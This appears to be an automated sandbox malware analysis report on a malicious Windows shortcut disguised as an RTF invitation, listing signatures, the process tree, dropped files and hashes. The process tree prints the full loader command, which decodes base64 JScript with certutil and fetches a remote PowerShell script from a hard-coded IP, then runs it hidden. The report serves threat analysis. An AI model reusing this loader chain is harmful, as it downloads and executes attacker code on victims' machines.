Analysis

  • max time kernel
    149s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/07/2026, 12:20

General

  • Target
    invitation.rtf.lnk
  • Size 147KB
  • Sample260720-ph47ysb19s
  • SHA256 4cb9291e6e32ca24e23e63da3fd994adc8199ec504778a699392dd362dd23a84
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Payload decoded via CertUtil.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\invitation.rtf.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4632
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzg5LjEwNi44My40MC9JbnZpdGF0aW9uX0F1Zy9hcHBvaW50bWVudGluZGVwZW5kZW5jZS5wczEiLGZhbHNlKTtoLnNldFJlcXVlc3RIZWFkZXIoIlVzZXItQWdlbnQiLCJVQSBXaW5kb3dzUG93ZXJTaGVsbCIpO2guc2VuZCgpO25ldyBBY3RpdmVYT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgicG93ZXJzaGVsbC5leGUiLCItTm9QIC1XIEhpZGRlbiAtQyAiK2gucmVzcG9uc2VUZXh0LCIiLCJvcGVuIiwwKTs= > hwCO.b64 && certutil -decode hwCO.b64 vc8uL.js >nul && wscript //b vc8uL.js && del hwCO.b64 vc8uL.js"
      2⤵
      • Deobfuscate/Decode Files or Information
      • Suspicious use of WriteProcessMemory
      PID:2368
      • C:\Windows\system32\certutil.exe
        certutil -decode hwCO.b64 vc8uL.js
        3⤵
        • Deobfuscate/Decode Files or Information
        PID:4080
      • C:\Windows\system32\wscript.exe
        wscript //b vc8uL.js
        3⤵
        • Badlisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:5052
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -C <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at 89.106.83.40 Port 80</address> </body></html>
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2752

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_vn5n3foq.ub0.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vn5n3foq.ub0.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        hwCO.b64

        • Path C:\Users\Admin\AppData\Local\Temp\hwCO.b64
        • Size 432B
        • SHA256 ed01c30c0d548efd8da876d235abfe7f2e977aa90e5cec3e07c6b0d2e28f4e37
        • MD5 SHA1 SHA512 TLSH

        vc8uL.js

        • Path C:\Users\Admin\AppData\Local\Temp\vc8uL.js
        • Size 320B
        • SHA256 1f9ad0c532b4a80e6a680ba1cf301a6507e4b73c3d5ce63fcef09b1e3f1dd7ca
        • MD5 SHA1 SHA512 TLSH

        memory/2752-11-0x00000226D6D50000-0x00000226D6D72000-memory.dmp